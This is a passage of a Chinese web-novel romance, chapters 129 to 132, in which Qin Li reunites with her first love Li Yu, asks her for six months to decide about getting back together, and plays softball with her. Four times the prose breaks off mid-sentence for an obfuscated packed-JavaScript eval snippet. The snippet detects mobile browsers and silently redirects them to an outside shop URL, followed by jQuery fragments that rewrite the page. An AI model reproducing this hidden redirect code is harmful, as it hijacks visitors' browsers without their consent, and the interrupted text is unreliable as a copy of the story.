黎羽换了个姿势,盘腿坐在蒲团上,单手支着下巴。她笑着摇头:“你还是像以前那样活泼啊,挺好的。” 秦离有些欢喜。 很快就到离开的时间了,秦离站起身,有些恋恋不舍。这次之后,不知道什么时候,她才有机会再和黎羽见面。 套上笨重的围巾和帽子,秦离出门时,发现黎羽拿着灰色大衣也准备离开。 “你也要走吗?”秦离诧异。这个点对酒吧来说还太早了。 “嗯,我又不需要看店,”黎羽笑着,“走吧,一起去地铁站。” 周六夜晚的南城,即使已经十点多,路上依旧人来人往。橘色靠近大学,附近很热闹,街边还有很多推着车卖吃食的小摊。 两人并肩走着,脚步同频,衣袖擦过衣袖。秦离看着自己呼出白气,然后弥散开来,和黎羽呼出的气息混在一起,不分你我。 “想吃什么吗?”黎羽见她一直没说话,问道。 “不用不用,我不饿的,还是你想吃什么?”秦离主要是不想将手从暖和的衣兜里拿出来。她的半张脸埋进围巾里,声音瓮瓮的。 黎羽也摇摇头。 去地铁站的路并不长。等唯一一个红绿灯时,秦离察觉有什么东西落在了头发上。她抬头,看见无数白色的雪点从空中飘落下来,在目及之处,在整片夜幕和昏黄的路灯下。 周围人群吵闹声不断,大家都很兴奋,毕竟在南城下雪是件难得的事。 秦离的眼睛也在发光。她伸手去接雪,转身望向黎羽,脸颊因兴奋而泛红:“黎羽,下雪了!” 四周的喧闹隔得很远,黎羽看着她灿烂的笑容,眼神温柔:“嗯,下雪了。” 这是她们一起看的第二场雪。 借着这股兴奋和冲动,上车前秦离要了黎羽的微信号。黎羽的微信头像是只紫色的透明水母,像是自己拍的。 秦离问她:【为什么用这只水母做头像呢?】 【大概是因为……它很自由吧。】 这之后,秦离没怎么再去橘色,但和黎羽断断续续保持着联系,想起来了或者有空了就聊会天,没有心理压力,轻松自在。 偶尔,她们也会一起出去,吃吃饭看看电影。 【最近有部女性励志片还不错,要去看看吗?】 【好呀。[兔兔飞奔.jpg]】 电影符合期待,就是秦离又被部分情节打动,哭得稀里哗啦。 黎羽在旁边给她递纸巾,无奈道:“怎么还是这么容易被感动?”她们第一次约会看电影时,秦离也是哭得厉害,没想到过去这么多年,她一如当初。 “因为确实很感人啊。我看见主角终于明白自己想要什么,做了自己真正想做的事,就觉得特别特别开心!” 即使这些年在社会摸爬滚打,包裹上圆滑的外衣,秦离的本质没有改变,依旧相信并热爱着世界上那些单纯、爱和美好,也依旧勇敢乐观。 这也是当初黎羽喜欢上她的原因。 她们去博物馆看了绘画展,去海洋馆看了水母,去尝甜品自助店,去游戏店打双人游戏,一切都是秦离喜欢的东西。黎羽甚至还陪秦离去看了场线下电竞比赛,虽然她并不太懂游戏规则。 年前的最后一次吃饭,选的是爱尔兰餐厅,主要是秦离想试试到底是什么味道。 看黎羽吃得不太多,秦离有些不好意思:“老是你陪我。你有什么想做的事,我都可以陪你一起啊。”其实她很开心,那些放在计划里一直想做的心愿,黎羽都陪她实现了。但所有活动里,黎羽反应基本都淡淡的,看上去不很有兴趣的样子,秦离担心她过于迁就自己,也不想她觉得无趣。 “不会啊,这些活动还挺有意思的。”黎羽说这话时语气依旧很平和,听上去不太有可信度的样子。她现在跟过去比起来,好像失去了所有棱角,随着人生的波浪浮到哪里是哪里。 所以秦离也会有些担心,她看不到黎羽现在还喜欢什么,还对什么抱有热情。 见秦离一脸不信,黎羽无奈,开口说着直白的真心话。她已经很多年不习惯这样了,说得不很顺畅。 “其实,像你这样进入社会这么多年依旧能保持活力和生活热情的人是很少见的。大部分人光是正常工作生活就已经耗掉几乎全部精力,我也,不例外。我的生活其实挺无趣的,没有什么兴趣爱好,可能除了工作,就是躺在床上刷刷视频,一天也就这样过去了。” 秦离不同,她是那种即使每天朝八晚十,白天也要挤零碎时间来码字和看书,工作再累,周末也愿意一大早起床去学琴,用满满的社交填满周末两天的人。她越忙,越执拗着一定要留出属于自己的时间,是个可怕的高精力E人。 “如果不是和你一起,这些活动我都懒得去,但和你一起,至少我愿意去体验体验。你让我的生活丰富起来,不再黑白单调,这样不是挺好的吗?” 而且,她喜欢看秦离在追求热爱事物时充满活力的样子,这种鲜活的生命力让她觉得很可爱,也很羡慕。 黎羽的最后一句说得有些像情话,秦离脸红,低着头吃菜,过了好一阵才道:“好哦。那——你之后如果有什么想做的事,随时跟我说哦。” 声音乖乖的。 “好。”黎羽看着她,眼里带着笑意。 秦离心里盘算着,要不下次去打垒球吧,这个应该在黎羽有兴趣的范畴。而且——她也是真的好想再看到黎羽穿着白色棒球服投球的样子,想到曾经球场上意气风发的黎羽,她的心脏就怦怦直跳。 然而,计划比不上变化。 秦离选好垒球活动,兴致勃勃告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370259|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎羽,却得到她的婉拒:“抱歉,梦城那边公司临时出了点事,我得回去一趟。” “啊……”秦离失望,“那你什么时候回来啊?” “……马上要过年了。” 秦离这才反应过来。是啊,马上要过年了,黎羽也没什么不得不留在南城的理由。有亲戚在的柳城,和有李凌菲她们在的梦城,哪里都比南城好。如果不是因为公司业务原因,黎羽或许都不会到南城来。 她突然有些挫败。最近的日子过得太快乐了,都快让她忘记,她和黎羽其实什么关系都不是,或许勉强算得上旧识?而且就算黎羽在南城过年,她也没法天天陪她,那又怎么好意思开口让她呆在南城。 看着秦离垂头丧气的样子,黎羽的手已经抬起来,到一半又放了下去。她摸了摸鼻子,道:“等我回来,你想去做什么,我再陪你一起吧。” “好……” “……我什么时候回来,提前跟你说。” “好>0 黎羽走后,秦离的生活也变得淡淡的,好像没前阵子那么有意思了。 星期六党年前的最后一次聚会,话题自然而然转到了黎羽,杨颖和裴子霜这才知道秦离和初恋居然重逢了,裴子霜感慨:“这概率还真是小,命中注定的缘分啊。” 从那次酒吧聚会,许平平也是刚知道两人最近一个月来往这么频繁。 “你们这还不是复合?!” “只是最近经常一起玩而已啦,大概算朋友?”秦离其实也不是很肯定,但两人间并没有什么暧昧举止,黎羽离开后,她们也没怎么发消息,所以大概也只是空闲时的玩乐搭子吧。 小伙伴们却不这么认为,许平平信誓旦旦:“赌五毛,你们之后肯定会复合。” 裴子霜加注:“那我出一块。” “去你们的!” “哈哈哈哈——” 一片欢声笑语中,只有杨颖略带担忧地扫了眼秦离右手依旧戴着的戒指。 她不知道秦离到底是什么想法,没有多说什么扫大家的兴。 哎,总之希望能幸福吧。 今年过年,出于点不明不白的小心思,秦离和妈爸一起在南城过的。年与年之间没有多少不一样,除了越来越少的祝福消息。疫情之后,大家好像越来越懒得搞这些虚头巴脑的了,不如群里的一键式红包来得实在。 年三十的晚上,依旧在春晚的欢声笑语中,秦离给每个亲近的人发手工祝福。 到黎羽时,已经有对方的消息了:【新年快乐,希望你永远对世界保持热爱,永远开心。】随着消息一起的是个满额的红包。 秦离开心地点开红包:【新年快乐,祝你来年生意越做越好,多多赚钱,赚大钱!那红包我就毫不客气地收下啦哈哈~对了,你什么时候回南城啊?】 【还没决定,尽量初三初四吧。】 【好耶!那个时候我还没上班,还可以看看去玩什么。】 【好。】 秦离已经开始有了期待。 再往下滑,看到洛依的头像。 130. Chapter 130 秦离愣了愣,点开她的朋友圈,不出意外什么也看不到。洛依从来不是喜欢在网络上分享任何东西的人,所以离开了线下,便对她一无所知。 秦离没有给她发任何消息。她还秉持着绝对不主动联系洛依的原则,连点开她的头像都小心翼翼,生怕变成了拍一拍。 她的心情在两个人的影响下剧烈波动着,自己却完全没意识到。 黎羽说是初三,没有食言。她买的晚上的机票,下飞机时已经十一点多了,才跟秦离说。 秦离这时正躺着敷面膜,看到消息差点从床上蹦起来:【你怎么不提前跟我说呀,我可以开车来接你。】 【行程也是临时确定的。没事,我打个车就行。】 黎羽在南城没有买房,只在南边租了个loft,但离机场也有一定距离。 【不行,你等我,我马上出门!】 秦离心生愧疚。虽然说出来很自作多情,但大过年的,她总觉得黎羽多少是因为自己之前问她什么时候回来的缘故,才大年初三这么早就飞过来了。 那她又怎么忍心留她一个人呢。 过年的南城畅通无阻,秦离二十分钟就飙到了机场。因为她的强烈要求,黎羽正在停车场路边等她。 “好冷的天,快上车!” 黎羽只拎了个小箱子,放在后备箱后,坐进副驾。 “麻烦你了。” “啊,你不要跟我这么客气嘛,我会难过的。”这些天的相处让秦离在黎羽面前愈发自然,撒娇的话张口就来。说完她愣了,黎羽也愣住了。 秦离有些懊恼,正要补救,黎羽先开口了:“好。” 车子上路,秦离彻底不说话了,趁着红绿灯间隙偷瞄黎羽。黎羽一直在发消息,脸上没什么表情,看不出来在想什么。 秦离心里七上八下的。 “那个……”她终于还是忍不住开口,“你晚上想吃什么啊?” 黎羽按灭手机屏幕:“其实大头她们叫我去店里吃来着。” “啊……” 大头是橘色的另一个老板,黎羽的合伙人。不过两人纯合作关系,私人交情并不深厚,因此秦离一开始没想到那里去。现在看来是她们本来就约好了,反而是自己强插一脚,破坏了她们的计划,太尴尬了…… 真的是自作多情了,秦离又恼又羞。 黎羽憋着笑,半天才道:“不过我已经跟她们说了不用管我,我明天再去店里。” 秦离这才反应过来,凶凶地质问她:“好哇,你故意逗我!” 黎羽扑哧笑出声。她好久没有笑得这么爽朗了:“抱歉,就是你刚才的表情实在是……”刚才小心翼翼试探的表情实在是太可爱了,让人忍不住想逗逗。 秦离以为她在说自己看着傻,更气了,鼓鼓的,在黎羽看来更可爱。 “抱歉抱歉,我的错,乖,好好开车,等下吃东西我请客,别气了。” 黎羽哄人的声音很温柔,秦离一下子就不气了,不仅不气,还觉得自己刚才的表现太幼稚了,怎么就…… 但似乎在黎羽面前,她很难维持成熟稳重的样子,从过去到现在,总是如此。 黎羽没有再看手机,难得主动开启话题,问她最近怎么过的,声音温和。 车里的空间变得狭窄,空气缓慢流动着,暧昧缱绻。 宵夜选了家烧烤店,虽然是连锁,但秦离称这家绝对是连锁里全南城最好吃的一家。烧烤、烤鱼、烤奶和豆花一上,黎羽发现确实如此。 凌晨的夜风冷冽,店里却很温暖。 秦离边吃吃喝喝,边继续和黎羽闲聊:“你这个年怎么过的呀,公司的事搞定了吗?” 黎羽现在吃东西吃得很快,其实已经饱了,见秦离还在吃,这会抿着牛奶,假装还没吃完。 “基本搞定了,是海外销售线上的事,忙了好几天,白天才刚结束。” “啊,那你不是没怎么过年?” “没事,过不过年都一样,往年也就是朋友有空一起吃个饭,没空就回家睡觉,跟平时也没什么区别。” 对啊……黎羽已经是一个人了…… 她也不是会主动走亲戚,或者打扰朋友家里过年的人。那母亲去世后,她是不是每年年三十都孤单一个人,她这些年都是这么一个人过过来的么? 秦离心里难过,咬着唇不说话,眼眶泛酸。 黎羽本来还在说些零碎日常事,见秦离低着头半天不言语,凑过去才发现她眼泪汪汪的。 “怎么还要哭了,”黎羽故意语气轻松,“可怜我啊?” “不是!”秦离一开口,眼泪就忍不住,往下掉了几颗,“我就是……就是想你过得开心点。” 她跟黎羽关系怎么样,是否重逢,其实都不重要,她只是希望黎羽能一直好好的,能永远意气风发,永远肆意地笑着。 “你啊……怎么过了这么些年,越来越爱哭了。” 黎羽坐到秦离身边,低头凑近,用手指轻轻拭去她脸颊的泪水。 “没有你想象的那么惨。我的性格你知道的,本来也不喜欢热闹,没那么多精力去社交,一个人呆着反而比较舒服。而且我也有朋友,需要的时候我会去找她们,不会孤单的。” 黎羽的声音也轻轻的,像春风般柔和。然而越被哄,秦离的心就变得越娇弱,越想哭。 “别哭了,小乖,过年呢,开心点。” 听着陌生又熟悉的称呼,秦离再也忍不住了,泪水连串,止不住地往下流。她的脑海里闪过好多画面,好多她以为已经彻底扔进垃圾桶删除的记忆。哭到后面,她都不知道自己到底为什么而哭。 黎羽没招了,将她抱在怀里,轻拍着她的背,等她慢慢缓过来。 黎羽的怀抱……好温暖…… 秦离趴在她怀里,久违地感觉到被爱护的安全感。 过了很久,她才起身,有些难为情:“不好意思,我情绪失控了。”她自己都觉得自己挺莫名其妙的,连本人可能都不在意的事,她在那里嚎啕大哭。 也可能,她哭的不止是这件事,而是过去的更多,更多。 “没关系,缓过来就好。” 黎羽轻轻拍了拍她的头,姿态有些亲昵。但她没再喊出那个称呼,秦离有些失落。 吃饱喝足,已经凌晨一点多,也该回去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370260|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但秦离不想回去。 看着黎羽买单,拎着包往外走,在门帘掀开的时候被冷气浸透,好像马上就要离开这里去到远方,消失不见了。秦离心中突然涌出浓烈的不舍。 “黎羽。” 黎羽回头,冷风吹起她银灰色的发。 “我们去看夜景吧。” “我们去看夜景吧……阿羽……” 凌晨两点半,秦离开着车朝东山山顶开去。黑暗弯曲的山道上只有她们一辆车,只有她和黎羽两个人,车载音响里放着悲伤古早的情歌。 “我背你走到最后 能不能不要回头 你紧紧地抱住我 说你不需要承诺 你说我若一个人会比较自由 我不懂你说什么 反正不会放手”① 秦离换了一首。 “我知道你我都没有错 只是忘了怎么退后 信誓旦旦给了承诺 却被时间扑了空”② 她心烦意乱,干脆关掉音乐。从黎羽答应去夜景后,一路上她们都没怎么说话。 黎羽彻底不笑时,脸上表情看着有些冷,失去了平时的温和,像曾经的模样,秦离记忆中的那个模样。 她看不出来她在想什么,就像她也不知道自己到底要做什么。 “下次吧,等你拿了驾照,我们下次就开车出来玩。” “好呀,下次换我带你兜风啦。” 不记得是谁说的,不记得是什么时候的事了。 车开到山顶最大的观景台。这个时间空无一人,只有满天繁星。 停车后,还要走一段很高的台阶。两边的路灯很暗,秦离没看清,第一步踩空了,往前栽去,黎羽及时抓住她。 “小心点。”声音没有秦离以为的那么冷。 “好哦。”秦离语气乖乖的。 黎羽没有再放开秦离的手,一直抓着,手心很烫。 两人一前一后走着,走到最高处的观景台。 观景台旁还有家露天酒吧亮着灯,但没人在,只有角落的泡泡机还运作着,吐出零星几个泡泡。 秦离抬手,泡泡在被触碰的瞬间绽放,变成烟雾后消散。 “走吧。”黎羽拉着她。两人走到平台的最边缘。远处是一大片寂静幽深的湖,延伸到更远处,然后是大片点缀着霓虹灯的城市。 而她们在城市之上,世界之外。 夜晚的风很大,两人的身体都颤抖着。秦离反手抓住黎羽的手,握得更紧了。 手臂紧挨着手臂,体温和脉搏随着触碰的肌肤传递着,共鸣着。 秦离侧脸望向黎羽,看到她纤长的睫毛、她上扬的眼尾、她微薄的嘴唇、她耳下那颗痣,她的一切。 黎羽没有回应她的目光,依旧望着前方,很久很久,才深深叹了口气。 “你到底想要什么呢?” 秦离的眼神迷茫:“我……我也不知道。” 她只是那个瞬间不想黎羽离开,想和她一起到山上来看夜景。 她不知道……不知道自己想要什么,不知道自己是不是想……跟黎羽复合。 131. Chapter 131 她今年三十岁了,已经不再像二十岁那样勇敢,不再想到什么就做什么,她甚至不敢确定自己的心意。已经过去这么多年了,她也喜欢上了别人,现在她是真的……想和黎羽复合吗? 如果她们在一起,能避免过去那样惨烈的结局,能够好好走下去吗?还是不过是一时贪欢,之后更加难堪地一拍两散。 她不确定自己是否还能好好经营一段感情。 这一刻,秦离甚至希望黎羽能主动开口,如果是她提出复合,自己大概是无法拒绝的。 不,她怎么能这么自私,逃避问题,把压力都给黎羽。 秦离心烦意乱。 黎羽的态度,对她的纵容已经表现得很明显的。只要她开口,或许她们就有机会再在一起。换成十年前,不,五年前,她都会毫不犹豫,但现在…… 或许她真的已经不再年轻,变得怯懦,不敢行动…… 黎羽又叹了口气。 她松开与秦离牵着的手。秦离急了,却因为自己的沉默,不敢多挽留,只是僵在原地,可怜巴巴望着黎羽,小狗一样。 黎羽别开眼,却还是躲不开她的视线。 “你啊……”黎羽无奈,转过身,用手心蒙住秦离的双眼,“不让我留,也不让我走吗?” “……不是。”秦离说得毫无底气。 “小乖,多年不见,你现在变得好霸道啊。” “……不是……”秦离声音更微弱了,“我只是有些害怕。” 怕很多很多事。 秦离心里很多想法杂乱地搅在一起,无法一一说出来。或许是她这种彷徨和恐惧表现得太明显了,黎羽没有再追问。 “算了,看夜景吧。” 秦离依旧不安。 黎羽看着她望向自己的眼神,实在是没招了。她拉过秦离,将她抱在怀里,在她发上留下个几近感觉不到的吻。 “你乖一点。你想慢慢来,我们就慢慢来。其实我也不确定心里的想法,也不明白会等你的答案等多久,不管怎么样,你……你也不要怪我,好吗?” “……嗯。” 秦离终于安分了。 两人安静地看了很久的夜景,直到秦离开始打喷嚏。冬日的夜晚还是太冷了。 “走了,下山吧。” “好哦。” 汽车沿着道路缓慢下山,音乐依旧缓慢抒情。 这之后,两人一起出去的频率低了些。东山上的那番话后,秦离也不好厚着脸皮,依旧若无其事地约黎羽。黎羽年后也确实忙起来了,忙着管理南城这边的公司。 她连橘色都不怎么去了。 哎,犯愁。 秦离不想跟黎羽这么不上不下,但脑子里一团乱,什么想法都有。她好像隐约知道有哪些原因,却说不很明白,只能找人谈谈心。 年前她才信誓旦旦跟星期六党小伙伴们说自己和黎羽没什么,肯定不会复合,现在她也不好意思再找她们出主意。思来想去,最后她还是找上感情经历丰富的阿清。阿清结束了筑城采风,准备在南城歇阵子,再考虑去下个地方,恰好是最合适的求助对象。 谈心地点在秦离最常去的甜品店,两人点了芝士和红丝绒蛋糕。 听完整件事来龙去脉,阿清笑着打趣:“我才下飞机没歇上口气呢。难怪这次这么热情请我吃蛋糕,还以为你是回心转意要跟我走了。” “哎呀,别贫嘴了,快帮我分析分析。” 秦离知道她就是嘴上花花,不接她的茬。要认真说起感情,阿清保管逃得比谁都快。 “所以你现在苦恼,不知道是提复合还是不提?” “唔……” “还是说你就想享受她对你的特殊和温柔,但不想进入恋爱关系负责,不想有心理压力?” “不是……” 秦离反驳,但又没那么理直气壮。她就是觉得自己现在一味享受黎羽的好,才自责不安,希望能找个对双方都好的解决方案。 “哎,深陷爱情困境的小可怜。好吧,我问你答,你对黎羽肯定不止纯友谊感情吧?” “嗯……” 毕竟是曾经很喜欢很喜欢的人,虽然现在的感觉还很混杂,但绝对做不成普通朋友。 “那是因为当初分手的时候她走得太果决了,让你害怕即使复合,之后也会重蹈覆辙么?” “……或许吧。”秦离觉得自己不应该是走不出创伤的人,但也不确定是不是完全不介意了。两人从见面到现在,都没有聊到曾经分手的事。 “那现在还很喜欢她吗?” “……我也不知道。” 秦离又开始转戒指了。不知道为什么,她就是无法直白说出自己很喜欢黎羽这种话。 看秦离纠结的样子绝不可能是对黎羽毫无情意,但这个戒指…… 阿清挑挑眉。两人认识好几年了,对秦离的感情经历,她不说一清二楚,也知道的七七八八。 她猜测着:“你是……为与黎羽在一起这件事感到愧疚,因为觉得……对不起洛依?” 秦离闷声不说话了。 阿清瞪大眼睛,没想到自己的猜测居然是真的。 秦离这时才意识到,自己似乎真有这样隐约的想法。 对阿清来说,这简直不可思议。在谈对她来说都没有道德压力,更不用说两人都分手快一年了,怎么还在“守身如玉”啊。但她知道,自己要是表现得太惊异,秦离肯定会恼羞成怒,直接跑掉的。 哎,知心姐姐难当啊。 阿清稳住语气,继续道:“既然对洛依还有感情,那就别管黎羽了,回头找洛依?” 秦离摇头:“异地的事解决不了,我和洛依没可能的。” 那就是对洛依也还有感情。 但阿清还是不太理解。即使对两边都有感情,如果说洛依那边没有发展的可能,选择黎羽不是理所应当的事吗? 这次,秦离读懂了阿清的表情。在她的问题下,也慢慢理清了内心想法。 “我……如果真的跟谁在一起,绝对是因为百分百的喜欢,不是什么退而求其次,也不掺杂对任何人的念想。” 她的情感理念不允许她做这种三心二意的事。 “好吧,”阿清挠挠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370261|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,她这种来者不拒的人无法理解,“那你现在打算怎么办?” “……我也不知道。” …… 行吧,问题又绕回来了。虽然知道了缘由,但还是没有解决方案。 哎,这些弯弯绕绕,搞得阿清也开始犯愁。爱情怎么这么麻烦啊。 把一切都想明白了,秦离反而没有一开始那么苦恼。 “我还需要时间。” 抛开一切因素,自己到底喜欢谁,时间会给出答案。 回家后,秦离给黎羽发消息:【今天忙吗?】 黎羽回得很快:【还好,刚处理完工作。】 【你打算在南城呆多久呀?】 【最近应该都在。】 【我的意思是,你以后是一直在南城了,还是等这边公司走上正轨就回柳城或者梦城。】 这次,对面隔了很久才发过来:【……我也不确定。你想我留下来吗?】 如果黎羽离开,即使两人在一起,不过又是一段异地恋。 秦离没有直接回答黎羽的问题:【如果不考虑……其它原因,你的本来计划是怎么样的?】 【……再过半年。半年后看公司情况,或许回梦城,或许去其它需要发展的地方。】 【好。】秦离想好了。【那你能给我半年时间吗?半年内我们顺其自然,你也按照原计划来,不要考虑其它因素。在你离开前,我告诉你我的答案。】 【好。】 这之后,两人又恢复了之前的来往频率。 把话说开后,秦离心里舒坦了很多。她考虑了很久,还是将星星戒指和手机壳里的照片都取出来,放在了书架上的盒子里。 无论最后她的决定是什么,至少目前,在说过让黎羽留给自己的这半年时间内,她不能将这些带在身上。 这之后的下一次见面,黎羽虽然没说什么,但视线很明显在她右手上停留了片刻,那天她的情绪也难得高涨了些。 春暖花开的日子,秦离终于有机会邀请黎羽一起去垒球活动了。 “垒球啊……我都很久没碰过了。” “试试嘛~你的球服还在吗?”秦离馋了很久了。 黎羽摇头。从……她回到柳城后,就再没机会碰垒球,球服和手套早就不知道扔到哪里去了。 “哎……”秦离很遗憾。 南城有大概二十多家业余的垒球兴趣俱乐部,活动场地基本都集中在南边。秦离挑了个时间合适,又接受新人体验的球队,刚好在黎羽家附近。 这天阳光正好,黎羽先到,穿了套白色运动服,戴着绿色的发带,将银灰色的发全部扎了上去,表情难得比较放松。 秦离看见的那刻眼睛一亮。这就是她记忆中阳光恣意的黎羽,什么都不放在眼里,意气风发。 “阿羽!” 远远的,秦离就挥着手,大声喊她,一如多年前。 草地上,黎羽转头,阳光落在她身上,照亮她的面庞,笑容明媚。 一如多年前。 秦离的心脏,如人生真正的初次心动般,再次剧烈跳动。 132. Chapter 132 这么多年了,秦离还没忘黎羽曾经讲给她的垒球规则。稍稍上手后,简单的传球接球也玩得津津有味。 黎羽一开始有些生疏,很快就找回曾经的感觉,高飞、平飞和滚地球都接传得十分熟练。 “哟,有些功底啊,以前练过哇?” 球队队长是个身材高大的寸头女生叫阿朵,跟李凌菲感觉有点像,也不知道是不是垒球队的队长都是这种风格。也因为如此,黎羽比较乐意接她的话:“嗯,以前在学校的时候打过。” 黎羽比较低调,秦离可不想她被看轻:“是校垒球队副队长,也是主力投球手!超级厉害的!当时高校联赛的时候打赢了好多学校呢!” 黎羽接话:“没有那么厉害,最后也没夺冠。” 最后一次高校联赛,她记得,秦离也记得。 “只是决赛的时候差了一分,就差那么一点点!你们可是整个联赛的亚军,连获得冠军的王牌学校都险些被你们掀翻,当然厉害!” 秦离当然知道失之毫厘差之千里,但那种拼劲全力去争夺那个冠军的黎羽,在比赛中突破自我的黎羽,在她心中就是最厉害的。 阿朵在两人间来回看了两眼,微妙地笑了。她也是懂行的,自然听出黎羽在谦虚。 “等会和另一个队有练习赛。刚好我们投球手今天生病请假了,本来还说我将就顶上,你来得正好,今天我们能不能赢就全靠你了哈哈。”说完,阿朵也没落下秦离:“我们作为进攻方的时候你也上场。” “啊?我也上?我才刚练了接球,什么也不会啊。” “没事,练习赛,休闲娱乐的,你就跟在大家后面打棒,然后跑垒就行。” “0.0好吧。” 一点都不好。 秦离紧张得不行。其实之前她也去体验过很多活动,像飞盘之类的也有一上手就打对抗赛的。但这次不同啊,这次……有黎羽在,不管怎么样,她都不想拖后腿,成为可能输掉的因素。 看出她的紧张,黎羽拍了拍她的头:“别怕,开心玩就好,有我在呢。” “……好哦。”秦离心安了些。 阿朵队先作为防守方,黎羽投球。秦离不需要上场,在铁丝网外看着。 黎羽掂了掂球,左腿前迈,一个高抛球出去,击球手顺利打出去,跑上一垒。 “奇怪,”秦离喃喃,“怎么不打平直快球啊,高抛球也太容易被接到了吧。” 旁边有人跟她解释:“你说的是快垒吧。高校比赛打快垒比较多,我们都是慢垒,强度没有那么大,毕竟业余打球的大多都是体力不支的社畜啊,哈哈。”说完她又补充了句:“这个投球手的动作有点奇怪啊,抛的位置还不错,但速度慢了些。” 秦离不服气地回道:“那是她没打过慢垒。” 是黎羽的话,一定行的。 “哈哈,那再看看。”路人也充满期待。 投了两次后,黎羽的速度突然大大加快,很快便淘汰三人,攻防换边。 秦离第一个开门跑了进去,冲到黎羽面前:“你太厉害了!” 阿朵也笑道:“挺厉害呀,今天稳了,哈哈哈哈!” 黎羽抿着嘴,表面依旧很淡定,但秦离能看得出她稍稍亢奋些了。果然还是只有她热爱的东西才会带给她热情和快乐。 后面就是享受比赛的时刻了。 秦离作为新人,大家对她比较宽容,垒球触棒即跑也没有判她犯规。在后面黎羽给力的击球下,她和黎羽都顺利跑回了本垒。 秦离的眼里闪着星星,欢呼着和黎羽击掌:“天啊,我居然得分了!” 黎羽也笑着夸她:“你很棒!” 多年前的夏日,在E大燥热的球场,秦离只能在场外看着黎羽和队友打球配合,欢呼庆祝,像被隔在她们之外。 多年后的这个下午,她第一次和黎羽站在球场上,并肩作战,共享着胜利的汗水和喜悦。 这种感觉真好啊。 活动结束,比赛加练习,两人都流了不少汗。黎羽呼吸稍微急促了些,笑道:“还是不比年轻时候了。” 秦离立马反驳她:“哪有!你还是这么青春,超级超级超——级棒!” 黎羽笑得更灿烂了。 秦离喜欢此刻的她,没有了平时那些模式化的温和,流露的是真正的自我。 这时,秦离注意到远处有女生在看着这边窃窃私语,似乎跃跃欲试。 她对这种情况可再熟悉不过了,转头朝阿朵喊着:“我们先走啦,下次见!” “下次见……” 阿朵的尾音还没听清,秦离已经拉着黎羽的手腕,一溜烟跑了。 她才不给其她人告白的机会呢。 “怎么了?” 黎羽虽然不知道发生了什么事,还是顺着秦离的力,跟着一起跑。她总是如此,除非告白的人已经站在她面前了,不然根本注意不到她吸引的那些目光。 “没什么,我饿啦,我们去吃东西吧。” “好。” 秦离选了韩餐,这在黎羽的饮食偏好里算稍微明显的。 去商场的路上,背上的汗已经干透了,带走了过多热量,秦离感觉身体开始发冷。哎,以前都没有这个毛病,又是新冠后遗症,她嘀咕着:“要是可以先洗个澡就好了。” 黎羽听见了,思忖片刻提议:“要不要去我家?” “欸?” “去我家,我们先洗个澡,晚餐的话可以点外卖。有家我常点的,炸鸡味道还不错。” “好……好哦。” 秦离差点咬到舌头。 该死的,她心中懊恼,怎么表现得这么慌乱。以前什么都做过了,现在只是要去黎羽家,她心脏就开始扑通狂跳。 但真的,有点期待,好像重走了曾经恋爱前的暧昧之路。 黎羽家是个两层的loft,也在七楼。 “家里没怎么收拾,有点乱。”进门后,黎羽将鞋都拨到一边去,“你等等,我给你找双拖鞋。” 秦离站在门口,好奇地探头观望。 Loft一层是客厅和厨房。厨房看起来很新,大概是一次也没用过。客厅架着投影仪,桌上放着笔记本电脑和许多杂乱的文件资料,沙发上堆着好些衣服,应该是刚晒干收进来的。二层是卧室,从门口只能看见床尾,团着深蓝色的被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370262|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 黎羽找了双黑色拖鞋出来,鞋面还有个圆圆的兔子脑袋和耳朵,可可爱爱。 咦,黎羽居然会买这么可爱的东西吗? 看出秦离的好奇,黎羽解释:“年前买东西的时候老板送的。” 其实算是换购,她当时鬼使神差就选了。 “嗷0.0” “你等等,我收拾下。” 进门后,黎羽将文件全揽到一边的箱子里,衣服都搬去楼上,又给秦离倒了杯柠檬水。 “其实也还好,哪有你说的那么乱啦。” 看得出来,独居的环境。 黎羽打开空调,给她找了睡衣和旧浴巾:“用这个可以吗?” 秦离点头。 